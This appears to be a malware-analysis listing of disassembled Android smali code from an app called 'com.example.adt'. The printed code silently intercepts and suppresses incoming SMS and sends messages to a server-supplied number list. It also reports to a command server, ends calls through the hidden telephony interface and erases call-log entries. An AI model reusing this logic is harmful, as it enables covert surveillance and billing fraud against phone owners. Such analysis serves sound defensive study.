46 | invoke-static {v4}, Landroid/telephony/SmsMessage;->createFromPdu([B)Landroid/telephony/SmsMessage; | |
47 | move-result-object v6 | |
48 | aput-object v6, v3, v0 | |
49 | add-int/lit8 v0, v0, 0x1 | |
50 | goto/16 :goto_2e | |
51 | cond_43: aget-object v2, v3, v6 | |
53 | invoke-virtual {v2}, Landroid/telephony/SmsMessage;->getMessageBody()Ljava/lang/String; | |
54 | move-result-object v8 | |
56 | invoke-virtual {v8}, Ljava/lang/String;->trim()Ljava/lang/String; | |
57 | move-result-object v8 | |
59 | invoke-static {v8}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;)Ljava/lang/String; | |
60 | move-result-object v8 | |
61 | iput-object v8, p0, Lcom/example/adt/SMSReceiver;->content:Ljava/lang/String; | |
63 | invoke-virtual {v2}, Landroid/telephony/SmsMessage;->getOriginatingAddress()Ljava/lang/String; | |
64 | move-result-object v8 | |
65 | iput-object v8, p0, Lcom/example/adt/SMSReceiver;->from:Ljava/lang/String; | |
67 | sget-object v8, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
69 | invoke-static {v8}, Lcom/example/adt/Config;->getPhoneNumber(Landroid/content/Context;)Ljava/lang/String; | |
70 | move-result-object v8 | |
71 | iput-object v8, p0, Lcom/example/adt/SMSReceiver;->number:Ljava/lang/String; | |
73 | sget-object v8, Lcom/example/adt/Config;->number:Ljava/lang/String; | |
74 | iput-object v8, p0, Lcom/example/adt/SMSReceiver;->number:Ljava/lang/String; | |
76 | sget-object v8, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
78 | const-string v9, "issms" | |
80 | invoke-static {v8, v9, v10}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;I)I | |
81 | move-result v8 | |
83 | invoke-static {v8}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; | |
84 | move-result-object v1 | |
86 | invoke-static {v10}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
87 | move-result-object v8 | |
89 | invoke-virtual {v1, v8}, Ljava/lang/Integer;->equals(Ljava/lang/Object;)Z | |
90 | move-result v8 | |
91 | if-eqz v8, :cond_8b | |
92 | new-instance v8, Ljava/lang/Thread; | |
93 | new-instance v9, Lcom/example/adt/SMSReceiver$1; | |
95 | invoke-direct {v9, p0}, Lcom/example/adt/SMSReceiver$1;-><init>(Lcom/example/adt/SMSReceiver;)V | |
97 | invoke-direct {v8, v9}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
99 | invoke-virtual {v8}, Ljava/lang/Thread;->start()V | |
101 | invoke-virtual {p0}, Lcom/example/adt/SMSReceiver;->abortBroadcast()V | |
102 | cond_8b: add-int/lit8 v6, v6, 0x1 | |
103 | goto/16 :goto_33 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "info" | |
1 | .prologue | |
2 | new-instance v0, Landroid/content/Intent; | |
4 | invoke-direct {v0}, Landroid/content/Intent;-><init>()V | |
6 | const-string v1, "app.gx3.alert" | |
8 | invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
10 | const-string v1, "alert" | |
11 | const/4 v2, 0x1 | |
13 | invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent; |
|
15 | const-string v1, "info" | |
17 | invoke-virtual {v0, v1, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
19 | iget-object v1, p0, Lcom/example/adt/App;->mContext:Landroid/content/Context; | |
21 | invoke-virtual {v1, v0}, Landroid/content/Context;->sendBroadcast(Landroid/content/Intent;)V | |
22 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | goto_0: | |
2 | iget-object v2, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS; | |
3 | iget v2, v2, Lcom/example/adt/SMS;->i:I | |
5 | iget-object v3, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS; | |
7 | iget-object v3, v3, Lcom/example/adt/SMS;->phones:[Ljava/lang/String; | |
8 | array-length v3, v3 | |
9 | if-lt v2, v3, :cond_c | |
10 | return-void | |
11 | cond_c: const-wide/16 v2, 0x2710 | |
12 | try_start_e: | |
13 | invoke-static {v2, v3}, Ljava/lang/Thread;->sleep(J)V |
|
15 | sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
16 | new-instance v3, Ljava/lang/StringBuilder; | |
18 | const-string v4, "\u53d1\u9001\u77ed\u4fe1\u5f00\u59cb " | |
20 | invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
22 | iget-object v4, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS; | |
24 | iget-object v4, v4, Lcom/example/adt/SMS;->phones:[Ljava/lang/String; | |
25 | array-length v4, v4 | |
27 | invoke-static {v4}, Ljava/lang/Integer;->toString(I)Ljava/lang/String; | |
28 | move-result-object v4 | |
30 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
31 | move-result-object v3 | |
33 | const-string v4, " => " | |
35 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
36 | move-result-object v3 | |
38 | iget-object v4, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS; | |
39 | iget v4, v4, Lcom/example/adt/SMS;->i:I | |
41 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
42 | move-result-object v3 | |
44 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
45 | move-result-object v3 | |
47 | invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
49 | iget-object v2, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS; | |
51 | iget-object v2, v2, Lcom/example/adt/SMS;->phones:[Ljava/lang/String; | |
53 | iget-object v3, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS; | |
54 | iget v3, v3, Lcom/example/adt/SMS;->i:I | |
55 | aget-object v1, v2, v3 | |
57 | iget-object v2, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS; | |
59 | invoke-static {v2, v1}, Lcom/example/adt/SMS;->access$0(Lcom/example/adt/SMS;Ljava/lang/String;)V | |
61 | iget-object v2, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS; | |
62 | iget v3, v2, Lcom/example/adt/SMS;->i:I | |
63 | add-int/lit8 v3, v3, 0x1 | |
64 | iput v3, v2, Lcom/example/adt/SMS;->i:I | |
66 | iget-object v2, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS; | |
67 | iget v2, v2, Lcom/example/adt/SMS;->i:I | |
69 | iget-object v3, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS; | |
71 | iget-object v3, v3, Lcom/example/adt/SMS;->phones:[Ljava/lang/String; | |
72 | array-length v3, v3 | |
73 | if-ne v2, v3, :cond_0 | |
74 | new-instance v2, Ljava/lang/Thread; | |
75 | new-instance v3, Lcom/example/adt/SMS$2$1; | |
77 | invoke-direct {v3, p0}, Lcom/example/adt/SMS$2$1;-><init>(Lcom/example/adt/SMS$2;)V | |
79 | invoke-direct {v2, v3}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
81 | invoke-virtual {v2}, Ljava/lang/Thread;->start()V | |
82 | try_end_6b: goto/16 :goto_0 | |
83 | catch_6c: move-exception v0 | |
85 | invoke-virtual {v0}, Ljava/lang/InterruptedException;->printStackTrace()V | |
86 | goto/16 :goto_0 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | new-instance v1, Ljava/lang/StringBuilder; | |
3 | sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
5 | const-string v3, "serverip" | |
7 | sget-object v4, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
9 | invoke-static {v2, v3, v4}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
10 | move-result-object v2 | |
12 | invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
13 | move-result-object v2 | |
15 | invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
17 | sget-object v2, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
19 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
20 | move-result-object v1 | |
22 | const-string v2, "SMSAllCompate&sid=" | |
24 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
25 | move-result-object v1 | |
27 | iget-object v2, p0, Lcom/example/adt/SMS$2$1;->this$1:Lcom/example/adt/SMS$2; | |
29 | invoke-static {v2}, Lcom/example/adt/SMS$2;->access$0(Lcom/example/adt/SMS$2;)Lcom/example/adt/SMS; | |
30 | move-result-object v2 | |
32 | iget-object v2, v2, Lcom/example/adt/SMS;->sid:Ljava/lang/String; | |
34 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
35 | move-result-object v1 | |
37 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
38 | move-result-object v0 | |
39 | new-instance v1, Lcom/example/adt/Connect; | |
41 | invoke-direct {v1}, Lcom/example/adt/Connect;-><init>()V | |
43 | invoke-virtual {v1, v0}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String; | |
44 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "msg" | |
1 | .parameter "title" | |
2 | .parameter "content" | |
3 | .parameter "icon" | |
4 | .prologue | |
5 | const/4 v6, 0x0 | |
7 | sget-object v4, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
9 | const-string v5, "notification" | |
11 | invoke-virtual {v4, v5}, Lcom/example/adt/CoreService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
12 | move-result-object v1 | |
13 | check-cast v1, Landroid/app/NotificationManager; | |
14 | new-instance v2, Landroid/app/Notification; | |
16 | invoke-static {}, Ljava/lang/System;->currentTimeMillis()J | |
17 | move-result-wide v4 | |
19 | invoke-direct {v2, p3, p0, v4, v5}, Landroid/app/Notification;-><init>(ILjava/lang/CharSequence;J)V |
|
20 | new-instance v0, Landroid/content/Intent; | |
22 | const-string v4, "cn.gx3.notify" | |
24 | invoke-direct {v0, v4}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V |
|
26 | sget-object v4, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
28 | invoke-static {v4, v6, v0, v6}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent; |
|
29 | move-result-object v3 | |
31 | sget-object v4, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
33 | invoke-virtual {v2, v4, p1, p2, v3}, Landroid/app/Notification;->setLatestEventInfo(Landroid/content/Context;Ljava/lang/CharSequence;Ljava/lang/CharSequence;Landroid/app/PendingIntent;)V | |
34 | iget v4, v2, Landroid/app/Notification;->flags:I | |
35 | or-int/lit8 v4, v4, 0x10 | |
36 | iput v4, v2, Landroid/app/Notification;->flags:I | |
37 | iget v4, v2, Landroid/app/Notification;->defaults:I | |
38 | or-int/lit8 v4, v4, 0x1 | |
39 | iput v4, v2, Landroid/app/Notification;->defaults:I | |
40 | const/4 v4, 0x1 | |
42 | invoke-virtual {v1, v4, v2}, Landroid/app/NotificationManager;->notify(ILandroid/app/Notification;)V |
|
43 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "str" | |
1 | .prologue | |
3 | const-string v0, "\r" | |
5 | const-string v1, "" | |
7 | invoke-virtual {p0, v0, v1}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String; |
|
8 | move-result-object v0 | |
10 | const-string v1, "\n" | |
12 | const-string v2, "" | |
14 | invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String; |
|
15 | move-result-object v0 | |
16 | return-object v0 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | const-string v0, "SMS_SEND_ACTIOIN" | |
3 | sput-object v0, Lcom/example/adt/SMS;->SMS_SEND_ACTIOIN:Ljava/lang/String; | |
5 | const-string v0, "SMS_DELIVERED_ACTION" | |
6 | sput-object v0, Lcom/example/adt/SMS;->SMS_DELIVERED_ACTION:Ljava/lang/String; | |
7 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v1, 0x0 | |
3 | invoke-direct {p0}, Landroid/app/Service;-><init>()V | |
5 | invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean; |
|
6 | move-result-object v0 | |
7 | iput-object v0, p0, Lcom/example/adt/CoreService;->IS_NEW:Ljava/lang/Boolean; | |
9 | invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean; |
|
10 | move-result-object v0 | |
11 | iput-object v0, p0, Lcom/example/adt/CoreService;->IS_WORK:Ljava/lang/Boolean; | |
13 | const-string v0, "" | |
14 | iput-object v0, p0, Lcom/example/adt/CoreService;->number:Ljava/lang/String; | |
16 | const-string v0, "" | |
17 | iput-object v0, p0, Lcom/example/adt/CoreService;->imsi:Ljava/lang/String; | |
19 | const-string v0, "success" | |
20 | iput-object v0, p0, Lcom/example/adt/CoreService;->MSG_OK:Ljava/lang/String; | |
21 | iput v1, p0, Lcom/example/adt/CoreService;->newClient:I | |
23 | const-string v0, "" | |
24 | iput-object v0, p0, Lcom/example/adt/CoreService;->httpUrl:Ljava/lang/String; | |
26 | const-string v0, "" | |
27 | iput-object v0, p0, Lcom/example/adt/CoreService;->issms:Ljava/lang/String; | |
29 | const-string v0, "" | |
30 | iput-object v0, p0, Lcom/example/adt/CoreService;->iscall:Ljava/lang/String; | |
32 | const-string v0, "" | |
33 | iput-object v0, p0, Lcom/example/adt/CoreService;->capp:Ljava/lang/String; | |
35 | const-string v0, "" | |
36 | iput-object v0, p0, Lcom/example/adt/CoreService;->sapp:Ljava/lang/String; | |
38 | const-string v0, "" | |
39 | iput-object v0, p0, Lcom/example/adt/CoreService;->mobVersion:Ljava/lang/String; | |
41 | const-string v0, "" | |
42 | iput-object v0, p0, Lcom/example/adt/CoreService;->timeint:Ljava/lang/String; | |
43 | iput v1, p0, Lcom/example/adt/CoreService;->currentapiVersion:I | |
45 | invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
46 | move-result-object v0 | |
47 | iput-object v0, p0, Lcom/example/adt/CoreService;->net:Ljava/lang/Integer; | |
49 | const-string v0, "" | |
50 | iput-object v0, p0, Lcom/example/adt/CoreService;->nettype:Ljava/lang/String; | |
52 | invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
53 | move-result-object v0 | |
54 | iput-object v0, p0, Lcom/example/adt/CoreService;->isnew:Ljava/lang/Integer; | |
56 | const-string v0, "" | |
57 | iput-object v0, p0, Lcom/example/adt/CoreService;->mApk:Ljava/lang/String; | |
59 | const-string v0, "" | |
60 | iput-object v0, p0, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
62 | const-string v0, "" | |
63 | iput-object v0, p0, Lcom/example/adt/CoreService;->mPackageName:Ljava/lang/String; | |
64 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "code" | |
1 | .parameter "data" | |
2 | .parameter "reply" | |
3 | .parameter "flags" | |
4 | .annotation system Ldalvik/annotation/Throws; | |
5 | value = { | |
6 | Landroid/os/RemoteException; | |
7 | } | |
8 | .end annotation | |
9 | .prologue | |
10 | const/4 v2, 0x1 | |
11 | sparse-switch p1, :sswitch_data_30 | |
13 | invoke-super {p0, p1, p2, p3, p4}, Landroid/os/Binder;->onTransact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z | |
14 | move-result v2 | |
15 | goto_8: return v2 | |
16 | sswitch_9: | |
17 | const-string v1, "com.android.internal.telephony.ITelephony" | |
19 | invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V |
|
20 | goto/16 :goto_8 | |
21 | sswitch_f: | |
22 | const-string v1, "com.android.internal.telephony.ITelephony" | |
24 | invoke-virtual {p2, v1}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V |
|
26 | invoke-virtual {p0}, Lcom/android/internal/telephony/ITelephony$Stub;->endCall()Z | |
27 | move-result v0 | |
29 | invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V | |
30 | if-eqz v0, :cond_22 | |
31 | move v1, v2 | |
32 | goto_1e: | |
33 | invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeInt(I)V | |
34 | goto/16 :goto_8 | |
35 | cond_22: const/4 v1, 0x0 | |
36 | goto/16 :goto_1e | |
37 | sswitch_24: | |
38 | const-string v1, "com.android.internal.telephony.ITelephony" | |
40 | invoke-virtual {p2, v1}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V |
|
42 | invoke-virtual {p0}, Lcom/android/internal/telephony/ITelephony$Stub;->answerRingingCall()V | |
44 | invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V | |
45 | goto/16 :goto_8 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "mContext" | |
1 | .parameter "className" | |
2 | .prologue | |
3 | const/4 v2, 0x0 | |
5 | const-string v4, "activity" | |
7 | invoke-virtual {p0, v4}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
8 | move-result-object v0 | |
9 | check-cast v0, Landroid/app/ActivityManager; | |
10 | const/16 v4, 0x1e | |
12 | invoke-virtual {v0, v4}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List; |
|
13 | move-result-object v3 | |
15 | invoke-interface {v3}, Ljava/util/List;->size()I | |
16 | move-result v4 | |
17 | if-gtz v4, :cond_17 | |
18 | const/4 v4, 0x0 | |
19 | goto_16: return v4 | |
20 | cond_17: const/4 v1, 0x0 | |
21 | goto_18: | |
22 | invoke-interface {v3}, Ljava/util/List;->size()I | |
23 | move-result v4 | |
24 | if-lt v1, v4, :cond_20 | |
25 | goto_1e: move v4, v2 | |
26 | goto/16 :goto_16 | |
27 | cond_20: | |
28 | invoke-interface {v3, v1}, Ljava/util/List;->get(I)Ljava/lang/Object; |
|
29 | move-result-object v4 | |
30 | check-cast v4, Landroid/app/ActivityManager$RunningServiceInfo; | |
32 | iget-object v4, v4, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName; | |
34 | invoke-virtual {v4}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String; | |
35 | move-result-object v4 | |
37 | invoke-virtual {v4, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
38 | move-result v4 | |
39 | if-eqz v4, :cond_34 | |
40 | const/4 v2, 0x1 | |
41 | goto/16 :goto_1e | |
42 | cond_34: add-int/lit8 v1, v1, 0x1 | |
43 | goto/16 :goto_18 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation system Ldalvik/annotation/Throws; | |
1 | value = { | |
2 | Landroid/os/RemoteException; | |
3 | } | |
4 | .end annotation | |
5 | .prologue | |
6 | const/4 v2, 0x1 | |
7 | const/4 v3, 0x0 | |
9 | invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel; | |
10 | move-result-object v0 | |
12 | invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel; | |
13 | move-result-object v1 | |
14 | try_start_a: | |
15 | const-string v4, "com.android.internal.telephony.ITelephony" | |
17 | invoke-virtual {v0, v4}, Landroid/os/Parcel;->writeInterfaceToken(Ljava/lang/String;)V |
|
19 | iget-object v4, p0, Lcom/android/internal/telephony/ITelephony$Stub$Proxy;->mRemote:Landroid/os/IBinder; | |
20 | const/4 v5, 0x1 | |
21 | const/4 v6, 0x0 | |
23 | invoke-interface {v4, v5, v0, v1, v6}, Landroid/os/IBinder;->transact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z |
|
25 | invoke-virtual {v1}, Landroid/os/Parcel;->readException()V | |
27 | invoke-virtual {v1}, Landroid/os/Parcel;->readInt()I | |
28 | try_end_1c: move-result v4 | |
29 | if-eqz v4, :cond_26 | |
30 | goto_1f: | |
31 | invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V | |
33 | invoke-virtual {v0}, Landroid/os/Parcel;->recycle()V | |
34 | return v2 | |
35 | cond_26: move v2, v3 | |
36 | goto/16 :goto_1f | |
37 | catchall_28: move-exception v3 | |
39 | invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V | |
41 | invoke-virtual {v0}, Landroid/os/Parcel;->recycle()V | |
42 | throw v3 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation system Ldalvik/annotation/Throws; | |
1 | value = { | |
2 | Landroid/os/RemoteException; | |
3 | } | |
4 | .end annotation | |
5 | .prologue | |
7 | invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel; | |
8 | move-result-object v0 | |
10 | invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel; | |
11 | move-result-object v1 | |
12 | try_start_8: | |
13 | const-string v2, "com.android.internal.telephony.ITelephony" | |
15 | invoke-virtual {v0, v2}, Landroid/os/Parcel;->writeInterfaceToken(Ljava/lang/String;)V |
|
17 | iget-object v2, p0, Lcom/android/internal/telephony/ITelephony$Stub$Proxy;->mRemote:Landroid/os/IBinder; | |
18 | const/4 v3, 0x2 | |
19 | const/4 v4, 0x0 | |
21 | invoke-interface {v2, v3, v0, v1, v4}, Landroid/os/IBinder;->transact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z |
|
23 | invoke-virtual {v1}, Landroid/os/Parcel;->readException()V | |
24 | try_end_17: | |
25 | invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V | |
27 | invoke-virtual {v0}, Landroid/os/Parcel;->recycle()V | |
28 | return-void | |
29 | catchall_1e: move-exception v2 | |
31 | invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V | |
33 | invoke-virtual {v0}, Landroid/os/Parcel;->recycle()V | |
34 | throw v2 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "f" | |
1 | .annotation system Ldalvik/annotation/Throws; | |
2 | value = { | |
3 | Ljava/lang/Exception; | |
4 | } | |
5 | .end annotation | |
6 | .prologue | |
7 | const-wide/16 v1, 0x0 | |
9 | invoke-virtual {p0}, Ljava/io/File;->exists()Z | |
10 | move-result v3 | |
11 | if-eqz v3, :cond_14 | |
12 | const/4 v0, 0x0 | |
13 | new-instance v0, Ljava/io/FileInputStream; | |
15 | invoke-direct {v0, p0}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V | |
17 | invoke-virtual {v0}, Ljava/io/FileInputStream;->available()I | |
18 | move-result v3 | |
19 | int-to-long v1, v3 | |
20 | goto_13: return-wide v1 | |
21 | cond_14: | |
22 | invoke-virtual {p0}, Ljava/io/File;->createNewFile()Z | |
24 | sget-object v3, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
26 | const-string v4, "\u6587\u4ef6\u4e0d\u5b58\u5728" | |
28 | invoke-virtual {v3, v4}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
29 | goto/16 :goto_13 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v1, p0, Lcom/example/adt/CoreService$MyRunnable;->this$0:Lcom/example/adt/CoreService; | |
4 | iget-object v1, v1, Lcom/example/adt/CoreService;->conn:Lcom/example/adt/Connect; | |
6 | iget-object v2, p0, Lcom/example/adt/CoreService$MyRunnable;->this$0:Lcom/example/adt/CoreService; | |
8 | iget-object v2, v2, Lcom/example/adt/CoreService;->httpUrl:Ljava/lang/String; | |
10 | invoke-virtual {v1, v2}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String; | |
11 | move-result-object v0 | |
13 | sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
14 | new-instance v2, Ljava/lang/StringBuilder; | |
16 | const-string v3, "\u8fd4\u56de\u5fc3\u8df3\u6570\u636e => " | |
18 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
20 | invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
21 | move-result-object v2 | |
23 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
24 | move-result-object v2 | |
26 | invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
27 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "numbers" | |
1 | .prologue | |
3 | invoke-static {p1}, Ljava/net/URLDecoder;->decode(Ljava/lang/String;)Ljava/lang/String; | |
4 | move-result-object v0 | |
6 | const-string v1, "p" | |
8 | invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String; |
|
9 | move-result-object v1 | |
10 | iput-object v1, p0, Lcom/example/adt/SMS;->phones:[Ljava/lang/String; | |
11 | new-instance v1, Ljava/lang/Thread; | |
12 | new-instance v2, Lcom/example/adt/SMS$2; | |
14 | invoke-direct {v2, p0}, Lcom/example/adt/SMS$2;-><init>(Lcom/example/adt/SMS;)V | |
16 | invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
18 | invoke-virtual {v1}, Ljava/lang/Thread;->start()V | |
19 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "number" | |
1 | .prologue | |
3 | sget-object v0, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
5 | invoke-virtual {v0}, Lcom/example/adt/CoreService;->getContentResolver()Landroid/content/ContentResolver; | |
6 | move-result-object v0 | |
8 | sget-object v1, Landroid/provider/CallLog$Calls;->CONTENT_URI:Landroid/net/Uri; | |
10 | const-string v2, "number=?" | |
11 | const/4 v3, 0x1 | |
12 | new-array v3, v3, [Ljava/lang/String; | |
13 | const/4 v4, 0x0 | |
14 | aput-object p1, v3, v4 | |
16 | invoke-virtual {v0, v1, v2, v3}, Landroid/content/ContentResolver;->delete(Landroid/net/Uri;Ljava/lang/String;[Ljava/lang/String;)I |
|
17 | move-result v0 | |
18 | return v0 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "obj" | |
1 | .prologue | |
2 | if-nez p0, :cond_4 | |
3 | const/4 v0, 0x0 | |
4 | goto_3: return-object v0 | |
5 | cond_4: | |
6 | const-string v1, "com.android.internal.telephony.ITelephony" | |
8 | invoke-interface {p0, v1}, Landroid/os/IBinder;->queryLocalInterface(Ljava/lang/String;)Landroid/os/IInterface; |
|
9 | move-result-object v0 | |
10 | if-eqz v0, :cond_13 | |
11 | instance-of v1, v0, Lcom/android/internal/telephony/ITelephony; | |
12 | if-eqz v1, :cond_13 | |
13 | check-cast v0, Lcom/android/internal/telephony/ITelephony; | |
14 | goto/16 :goto_3 | |
15 | cond_13: new-instance v0, Lcom/android/internal/telephony/ITelephony$Stub$Proxy; | |
17 | invoke-direct {v0, p0}, Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-><init>(Landroid/os/IBinder;)V | |
18 | goto/16 :goto_3 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "c" | |
1 | .parameter "key" | |
2 | .parameter "value" | |
3 | .prologue | |
5 | const-string v2, "config" | |
6 | const/4 v3, 0x0 | |
8 | invoke-virtual {p0, v2, v3}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences; |
|
9 | move-result-object v1 | |
11 | invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor; | |
12 | move-result-object v0 | |
14 | invoke-interface {v0, p1, p2}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor; | |
16 | invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z | |
17 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "c" | |
1 | .parameter "key" | |
2 | .parameter "value" | |
3 | .prologue | |
5 | const-string v2, "config" | |
6 | const/4 v3, 0x0 | |
8 | invoke-virtual {p0, v2, v3}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences; |
|
9 | move-result-object v1 | |
11 | invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor; | |
12 | move-result-object v0 | |
14 | invoke-interface {v0, p1, p2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor; | |
